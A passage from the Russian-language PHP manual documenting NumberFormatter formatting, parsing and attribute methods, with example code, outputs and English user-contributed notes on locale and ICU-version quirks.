echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
$fmt = new NumberFormatter( 'ru_RU', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
?>

Результат выполнения данного примера:

1.234.567,89 €
1.234.567,89 RUR
1 234 567,89€
1 234 567,89р.

Примечания

Замечание:

Форматы, достижимые этим способом форматирования, не могут полностью использовать возможности базовой библиотеки ICU, например, форматировать валюту с узким символом валюты.

Для полной поддержки, используйте функцию msgfmt_format_message().

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_format() - Форматирует число
  • numfmt_parse_currency() - Разбирает номер валюты
  • msgfmt_format_message() - Быстро форматирует сообщение

User Contributed Notes

Patanjali 26-Dec-2019 12:56
This function is typically over a 1000 times slower on the first run in a php session compared to subsequent runs, and that is using a newly created formatter each time.

Timings for the first run have been from 60ms to 195ms, whereas subsequent runs are well under 100us.

For comparison, creating the formatter takes about 100us.
Anonymous 03-Sep-2017 08:25
formatCurrency() does not follow international standard for currency decimal, published here : https://www.currency-iso.org/en/home/tables/table-a1.html.

To define decimal I found that we need to use format() function after setting some NumberFormat attributes.

For example "COP" (Colombian peso) if defined to use 2 decimals, but NumberFormat::formatCurrency() use 0 decimal for this currency (I do not know why!).

Here is the code I use :

$fmt = new \NumberFormatter( 'fr', \NumberFormatter::CURRENCY);
$fmt->setTextAttribute( $fmt::CURRENCY_CODE, 'COP' );
$fmt->setAttribute( $fmt::FRACTION_DIGITS, 2 );
$numberString = $fmt->format( 1234.56 );

The output is: 1 234,56 $CO

If locale change to 'en' then the output is : COP1,234.56
andrewfenn at gmail dot com 09-Apr-2017 09:30
Currency symbols seem to have spurious support.

Take for example the Thai Baht symbol.. ? which doesn't seem supported in the Thai locale, but is in other locales such as Chinese Simplified..

<?php
$fmt = new NumberFormatter('th_TH', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(100, 'THB');
// Outputs: THB 100

$fmt = new NumberFormatter('zh_Hans', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(100, 'THB');
// Outputs: ? 100
?>
Benoit Borrel 12-Nov-2015 07:01
When setting the pattern, don't forget that space character between currency symbol and number (either as prefix or suffix) should not be breakable (like &nbsp; for HTML). For example, in UTF-8 you should use the no-break-space character ("\xC2\xA0"):
<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setPattern(str_replace('¤#',"¤\xC2\xA0#", $fmt->getPattern()));
?>
idragosalex 04-May-2015 11:58
It seams that for currency symbols that contain the dollar sign '$' the resulting formatted number is broken: 95.23 is formatted .23 instead of $95.23. As a workaround, you need to modify the pattern by adding a space:

<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setTextAttribute(NumberFormatter::CURRENCY_CODE, 'CAD');
$fmt->setPattern( str_replace('¤#','¤ #', $fmt->getPattern() ) );
echo $fmt->formatCurrency(100, 'CAD');
?>
mail at cebe dot cc 30-Mar-2015 04:18
The note about different formatting[1] actually does not depend on the PHP version but on the version of the icu library[2] that PHP is compiled against because this library has a database with formatting rules for the different locales.

[1]: http://php.net/manual/en/numberformatter.formatcurrency.php#116610
[2]: http://site.icu-project.org/
Tyler Crompton 29-Jan-2015 08:05
This had me scratching my head. When working with certain English locales (e.g. "en_US" and "en_CA" among others but certainly not all), it is important to note that negative numbers are formatted differently between PHP 5.5 and PHP 5.6.

Code:

<?php

$formatter = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $formatter->formatCurrency(-0.99, 'USD'), PHP_EOL;

$formatter = new NumberFormatter('en_CA', NumberFormatter::CURRENCY);
echo $formatter->formatCurrency(-0.99, 'USD'), PHP_EOL;

?>

Output from PHP 5.5:

-$0.99
-US$0.99

Output from PHP 5.6:

($0.99)
(US$0.99)
martin t holzhauer dohd eu 13-Feb-2014 02:37
When you want to format currency's without sub units and the currency is not the one used by the given locale you need to set the currency code before as TextAttribute _BEFORE_ setting the NumberFormatter::FRACTION_DIGITS

<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setTextAttribute(NumberFormatter::CURRENCY_CODE, 'EUR');
$fmt->setAttribute(NumberFormatter::FRACTION_DIGITS, 0);
$fmt->formatCurrency(100, 'EUR');
?>
Ruben 25-Oct-2012 05:40
While this function accepts floats for currency (in order to display cents), you should (for applications where this is critical) never store or handle money using floats, as rounding errors may occur. Work with integers (or a BigInt class if integers aren't large enough) internally instead, where the integer represents the total number of cents. An alternative (especially if you need more precision than cents) is using the BC (Binary Calculator) Math module, that handles arbitrary precision numbers with 100% accuracy.


Форматирует число

  • « NumberFormatter::formatCurrency
  • NumberFormatter::getAttribute »
  • PHP Manual
  • NumberFormatter
  • Форматирует число

NumberFormatter::format

numfmt_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::format -- numfmt_format — Форматирует число

Описание

Объектно-ориентированный стиль

public NumberFormatter::format(int|float $num, int $type = NumberFormatter::TYPE_DEFAULT): string|false

Процедурный стиль

numfmt_format(NumberFormatter $formatter, int|float $num, int $type = NumberFormatter::TYPE_DEFAULT): string|false

Форматирует числовое значение в соответствии с правилами средства форматирования.

Список параметров

formatter

Объект NumberFormatter.

num

Значение для форматирования. Может быть целым числом (int) или числом с плавающей точкой (float), другие типы будут преобразованы в числовое значение.

type

Используемый тип форматирования. Обратите внимание, что константа NumberFormatter::TYPE_CURRENCY не поддерживается; используйте вместо неё метод NumberFormatter::formatCurrency().

Возвращаемые значения

Возвращает строку, содержащую форматированное значение или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_format()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_format($fmt))) {
report_error("Formatter error");
}
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
report_error("Formatter error");
}
?>

Результат выполнения данного примера:

1.234.567,891

Примечания

Замечание:

Форматы, достижимые этим способом форматирования, не могут полностью использовать возможности базовой библиотеки ICU, например, форматировать валюту с узким символом валюты.

Для полной поддержки, используйте функцию msgfmt_format_message().

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_format_currency() - Форматирует значение валюты
  • numfmt_parse() - Разбирает число
  • msgfmt_format_message() - Быстро форматирует сообщение

User Contributed Notes

mrSplendid 17-Jan-2023 07:24
on Linux you may need to install icu-data-full package for NumberFormatter to work properly with non-english locales.


Получает атрибут

  • « NumberFormatter::format
  • NumberFormatter::getErrorCode »
  • PHP Manual
  • NumberFormatter
  • Получает атрибут

NumberFormatter::getAttribute

numfmt_get_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getAttribute -- numfmt_get_attribute — Получает атрибут

Описание

Объектно-ориентированный стиль

public NumberFormatter::getAttribute(int $attribute): int|float|false

Процедурный стиль

numfmt_get_attribute(NumberFormatter $formatter, int $attribute): int|float|false

Получает числовой атрибут, связанный со средством форматирования. Примером числового атрибута является количество целых цифр, которое будет выдавать средство форматирования.

Список параметров

formatter

Объект NumberFormatter.

attribute

Спецификатор атрибута - одна из констант числового атрибута.

Возвращаемые значения

Возвращает значение атрибута в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_get_attribute()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Цифр: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Цифр: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Цифр: 3
1.234.567,891
Цифр: 2
1.234.567,89

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_get_text_attribute() - Получает текстовый атрибут
  • numfmt_set_attribute() - Устанавливает атрибут

User Contributed Notes

There are no user contributed notes for this page.


Получает последний код ошибки средства форматирования

  • « NumberFormatter::getAttribute
  • NumberFormatter::getErrorMessage »
  • PHP Manual
  • NumberFormatter
  • Получает последний код ошибки средства форматирования

NumberFormatter::getErrorCode

numfmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getErrorCode -- numfmt_get_error_code — Получает последний код ошибки средства форматирования

Описание

Объектно-ориентированный стиль

public NumberFormatter::getErrorCode(): int

Процедурный стиль

numfmt_get_error_code(NumberFormatter $formatter): int

Получает код ошибки из последней функции, выполненной средством форматирования.

Список параметров

formatter

Объект NumberFormatter.

Возвращаемые значения

Возвращает код ошибки из последнего вызова средства форматирования.

Примеры

Пример #1 Пример использования numfmt_get_error_code()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_get_error_code($fmt))) {
report_error("Formatter error");
}
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
report_error("Formatter error");
}
?>

Смотрите также

  • numfmt_get_error_message() - Получает последнее сообщение об ошибке средства форматирования
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Получает последнее сообщение об ошибке средства форматирования

  • « NumberFormatter::getErrorCode
  • NumberFormatter::getLocale »
  • PHP Manual
  • NumberFormatter
  • Получает последнее сообщение об ошибке средства форматирования

NumberFormatter::getErrorMessage

numfmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getErrorMessage -- numfmt_get_error_message — Получает последнее сообщение об ошибке средства форматирования

Описание

Объектно-ориентированный стиль

public NumberFormatter::getErrorMessage(): string

Процедурный стиль

numfmt_get_error_message(NumberFormatter $formatter): string

Получает сообщение об ошибке от последней функции, выполненной средством форматирования.

Список параметров

formatter

Объект NumberFormatter.

Возвращаемые значения

Возвращает сообщение об ошибке из последнего вызова средства форматирования.

Примеры

Пример #1 Пример использования numfmt_get_error_message()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
var_dump(numfmt_get_error_message($fmt));
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
var_dump(numfmt_get_error_message($fmt));
?>

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Получает локаль средства форматирования

  • « NumberFormatter::getErrorMessage
  • NumberFormatter::getPattern »
  • PHP Manual
  • NumberFormatter
  • Получает локаль средства форматирования

NumberFormatter::getLocale

numfmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getLocale -- numfmt_get_locale — Получает локаль средства форматирования

Описание

Объектно-ориентированный стиль

public NumberFormatter::getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false

Процедурный стиль

numfmt_get_locale(NumberFormatter $formatter, int $type = ULOC_ACTUAL_LOCALE): string|false

Получает название локали средства форматирования.

Список параметров

formatter

Объект NumberFormatter.

type

Вы можете выбрать действительную или фактическую локаль ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, соответственно). По умолчанию используется фактическая локаль.

Возвращаемые значения

Имя локали, используемое для создания средства форматирования или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_get_locale()

<?php
$req = 'fr_FR_PARIS';
$fmt = numfmt_create( $req, NumberFormatter::DECIMAL);
$res_val = numfmt_get_locale( $fmt, Locale::VALID_LOCALE );
$res_act = numfmt_get_locale( $fmt, Locale::ACTUAL_LOCALE );
printf( "Запрошенная локаль: %s\nДействительная локаль: %s\nФактическая локаль: %s\n",
$req, $res_val, $res_act );
?>

Результат выполнения данного примера:

Запрошенная локаль: fr_FR_PARIS
Действительная локаль: fr_FR
Фактическая локаль: fr

Смотрите также

  • numfmt_create() - Создаёт средство форматирования чисел
  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования

User Contributed Notes

There are no user contributed notes for this page.


Получает шаблон средства форматирования

  • « NumberFormatter::getLocale
  • NumberFormatter::getSymbol »
  • PHP Manual
  • NumberFormatter
  • Получает шаблон средства форматирования

NumberFormatter::getPattern

numfmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getPattern -- numfmt_get_pattern — Получает шаблон средства форматирования

Описание

Объектно-ориентированный стиль

public NumberFormatter::getPattern(): string|false

Процедурный стиль

numfmt_get_pattern(NumberFormatter $formatter): string|false

Извлекает шаблон, используемый средством форматирования.

Список параметров

formatter

Объект NumberFormatter.

Возвращаемые значения

Строка (string) шаблона, используемого средством форматирования или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_get_pattern()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Шаблон: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Шаблон: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Шаблон: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Шаблон: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Шаблон: #,##0.###
1.234.567,891
Шаблон: #0.# kg
1234567,9 kg

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_set_pattern() - Устанавливает шаблон средства форматирования
  • numfmt_create() - Создаёт средство форматирования чисел

User Contributed Notes

There are no user contributed notes for this page.


Получает значение символа

  • « NumberFormatter::getPattern
  • NumberFormatter::getTextAttribute »
  • PHP Manual
  • NumberFormatter
  • Получает значение символа

NumberFormatter::getSymbol

numfmt_get_symbol

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getSymbol -- numfmt_get_symbol — Получает значение символа

Описание

Объектно-ориентированный стиль

public NumberFormatter::getSymbol(int $symbol): string|false

Процедурный стиль

numfmt_get_symbol(NumberFormatter $formatter, int $symbol): string|false

Получает символ, связанный со средством форматирования. Средство форматирования использует символы для представления специальных символов, зависящих от языка, в числах, например, знак процента. Этот API не поддерживается для средств форматирования на основе правил.

Список параметров

formatter

Объект NumberFormatter.

symbol

Спецификатор символа, одна из констант символов форматирования.

Возвращаемые значения

Строка символа или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_get_symbol()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Разделитель: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Разделитель: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Разделитель: .
1.234.567,891
Разделитель: *
1*234*567,891

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_set_symbol() - Устанавливает значение символа

User Contributed Notes

There are no user contributed notes for this page.


Получает текстовый атрибут

  • « NumberFormatter::getSymbol
  • NumberFormatter::parseCurrency »
  • PHP Manual
  • NumberFormatter
  • Получает текстовый атрибут

NumberFormatter::getTextAttribute

numfmt_get_text_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::getTextAttribute -- numfmt_get_text_attribute — Получает текстовый атрибут

Описание

Объектно-ориентированный стиль

public NumberFormatter::getTextAttribute(int $attribute): string|false

Процедурный стиль

numfmt_get_text_attribute(NumberFormatter $formatter, int $attribute): string|false

Получает текстовый атрибут, связанный со средством форматирования. Примером текстового атрибута является суффикс для положительных чисел. Если средство форматирования не понимает атрибут, выдаётся ошибка U_UNSUPPORTED_ERROR. Средства форматирования на основе правил понимают только NumberFormatter::DEFAULT_RULESET и NumberFormatter::PUBLIC_RULESETS.

Список параметров

formatter

Объект NumberFormatter.

attribute

Спецификатор атрибута - одна из констант текстового атрибута.

Возвращаемые значения

Возвращает значение атрибута в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_get_text_attribute()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Префикс: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Префикс: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Префикс: -
-1.234.567,891
Префикс: MINUS
MINUS1.234.567,891

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_get_attribute() - Получает атрибут
  • numfmt_set_text_attribute() - Устанавливает текстовый атрибут

User Contributed Notes

There are no user contributed notes for this page.


Разбирает номер валюты

  • « NumberFormatter::getTextAttribute
  • NumberFormatter::parse »
  • PHP Manual
  • NumberFormatter
  • Разбирает номер валюты

NumberFormatter::parseCurrency

numfmt_parse_currency

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::parseCurrency -- numfmt_parse_currency — Разбирает номер валюты

Описание

Объектно-ориентированный стиль

public NumberFormatter::parseCurrency(string $string, string &$currency, int &$offset = null): float|false

Процедурный стиль

numfmt_parse_currency(
NumberFormatter $formatter,
string $string,
string &$currency,
int &$offset = null
): float|false

Разбирает строку на число с плавающей точкой и валюту с помощью средства форматирования.

Список параметров

formatter

Объект NumberFormatter.

currency

Параметр для получения названия валюты (трёхбуквенный код валюты ISO 4217).

offset

Смещение в строке, с которой начинается синтаксический анализ. При возврате это значение будет содержать смещение, на котором закончился синтаксический анализ.

Возвращаемые значения

Разобранное числовое значение или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_parse_currency()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89\xc2\xa0$";
echo "У нас ".numfmt_parse_currency($fmt, $num, $curr)." в $curr\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89\xc2\xa0$";
echo "У нас ".$fmt->parseCurrency($num, $curr)." в $curr\n";
?>

Результат выполнения данного примера:

У нас 1234567.89 в USD

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_parse() - Разбирает число
  • numfmt_format_currency() - Форматирует значение валюты

User Contributed Notes

info at mm-newmedia dot de 09-Jul-2017 11:08
In reply to daniel at danielphenry dot com example note beneath. The given example by Daniel returns false under PHP7.x, which is a normal behavior since NumberFormatter::parseCurrency() is a method for parsing currency strings. It is trying to split up the given string in a float and a currency.

While using strict types under PHP7 the following example makes it more clearer.

<?php
declare(strict_types=1);
namespace MMNewmedia;

$oParser = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
var_dump($oParser->parseCurrency("1.234.567,89\xc2\xa0€", $currency), $currency));
?>

This example returns: "float(1234567.89) string(3) "EUR"

This is the expected behavior.

The following example runs into a type error, which is absolutely right, since this method is vor parsing strings and not vor formatting floats into currency strings.

<?php
declare(strict_types=1);
namespace MMNewmedia;

try {
    $oCurrencyParser = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
    $currency = 'EUR';
    var_dump($oCurrencyParser->parseCurrency(1.234, $currency), $currency);
} catch (\TypeError $oTypeError) {
    var_dump($oTypeError->getMessage());
}
?>

This example returns "NumberFormatter::parseCurrency() expects parameter 1 to be string, float given".

If you want to parse floats into a currency string use the http://php.net/manual/en/numberformatter.formatcurrency.php method as shown in the next example.

<?php
declare(strict_types=1);
namespace MMNewmedia;

$oFormatter = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
var_dump($oFormatter->formatCurrency(1234567.89, 'EUR'));
?>

This returns string(17) "1.234.567,89 €" as expected.


Разбирает число

  • « NumberFormatter::parseCurrency
  • NumberFormatter::setAttribute »
  • PHP Manual
  • NumberFormatter
  • Разбирает число

NumberFormatter::parse

numfmt_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::parse -- numfmt_parse — Разбирает число

Описание

Объектно-ориентированный стиль

public NumberFormatter::parse(string $string, int $type = NumberFormatter::TYPE_DOUBLE, int &$offset = null): int|float|false

Процедурный стиль

numfmt_parse(
NumberFormatter $formatter,
string $string,
int $type = NumberFormatter::TYPE_DOUBLE,
int &$offset = null
): int|float|false

Преобразует строку в число, используя правила средства форматирования.

Список параметров

formatter

Объект NumberFormatter.

string

Строка для разбора числа.

type

Используемый
тип форматирования.
По умолчанию используется NumberFormatter::TYPE_DOUBLE.
Обратите внимание, что константа NumberFormatter::TYPE_CURRENCY не поддерживается;
воспользуйтесь вместо неё методом NumberFormatter::parseCurrency().

offset

Смещение в строке, с которой начинается синтаксический анализ. При возврате это значение будет содержать смещение, на котором закончился синтаксический анализ.

Возвращаемые значения

Значение анализируемого числа или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_parse()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo $fmt->parse($num)."\n";
echo $fmt->parse($num, NumberFormatter::TYPE_INT32)."\n";
?>

Результат выполнения данного примера:

1234567.891
1234567

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_format() - Форматирует число
  • numfmt_parse_currency() - Разбирает номер валюты

User Contributed Notes

Rakasch 18-Dec-2018 11:41
'en_EN':

basically the first part is the language and the second part the region:
'en_EN' - english, England
'en_US' - english, United States

You can lookup the language tags like 'en_EN' here:
https://datahub.io/core/language-codes
see "ietf-language-tags"
helium73b at gmail dot com 21-Feb-2017 10:33
to parse English use this format: 'en_EN' .  I had to guess.  I have no idea where you would find these codes.

<?php
echo "<pre>";
$fmt = numfmt_create( 'en_EN', NumberFormatter::DECIMAL );
$num = "1,234,567.891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
echo "</pre>";
?>

If this doesn't work well all I can say is it shouldn't work because it makes no sense that  you would repeat the code twice "en and EN" in one code.  Stuff that makes no sense is hard to guess.   I couldn't find a page that has these codes either.  I guess documentation is bound to be incomplete since it's so voluminous.  Documentation has a language and syntax unto itself yet there are no tutorials on understanding documentation.
rdohms at php dot net 06-Jul-2012 11:53
It interesting to note that the expected behavior for this function may change according to your ICU version.

In ICU 4.4.2 (standard for Ubuntu 10.* with PHP 5.3.5)

    With locale 'en', input of 100,1 returns 1001

In ICU 4.8.1 (standard for Ubuntu 12.* with PHP 5.3.10)

    With locale 'en', input of 100,1 returns "false"

Be sure to note your ICU version in phpinfo() to be sure you will get the expected output.


Устанавливает атрибут

  • « NumberFormatter::parse
  • NumberFormatter::setPattern »
  • PHP Manual
  • NumberFormatter
  • Устанавливает атрибут

NumberFormatter::setAttribute

numfmt_set_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setAttribute -- numfmt_set_attribute — Устанавливает атрибут

Описание

Объектно-ориентированный стиль

public NumberFormatter::setAttribute(int $attribute, int|float $value): bool

Процедурный стиль

numfmt_set_attribute(NumberFormatter $formatter, int $attribute, int|float $value): bool

Устанавливает числовой атрибут, связанный со средством форматирования. Примером числового атрибута является количество целых цифр, которое будет выдавать средство форматирования.

Список параметров

formatter

Объект NumberFormatter.

attribute

Спецификатор атрибута - одна из констант числового атрибута.

value

Значение атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_set_attribute()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Цифр: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Цифр: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Цифр: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Цифр: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

Результат выполнения данного примера:

Цифр: 3
1.234.567,891
Цифр: 2
1.234.567,89

Смотрите также

  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования
  • numfmt_get_attribute() - Получает атрибут
  • numfmt_set_text_attribute() - Устанавливает текстовый атрибут

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает шаблон средства форматирования

  • « NumberFormatter::setAttribute
  • NumberFormatter::setSymbol »
  • PHP Manual
  • NumberFormatter
  • Устанавливает шаблон средства форматирования

NumberFormatter::setPattern

numfmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::setPattern -- numfmt_set_pattern — Устанавливает шаблон средства форматирования

Описание

Объектно-ориентированный стиль

public NumberFormatter::setPattern(string $pattern): bool

Процедурный стиль

numfmt_set_pattern(NumberFormatter $formatter, string $pattern): bool

Устанавливает шаблон, используемый средством форматирования. Не может использоваться в средстве форматирования на основе правил.

Список параметров

formatter

Объект NumberFormatter.

pattern

Шаблон в синтаксисе, описанном в » документации ICU DecimalFormat.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_set_pattern()

<?php
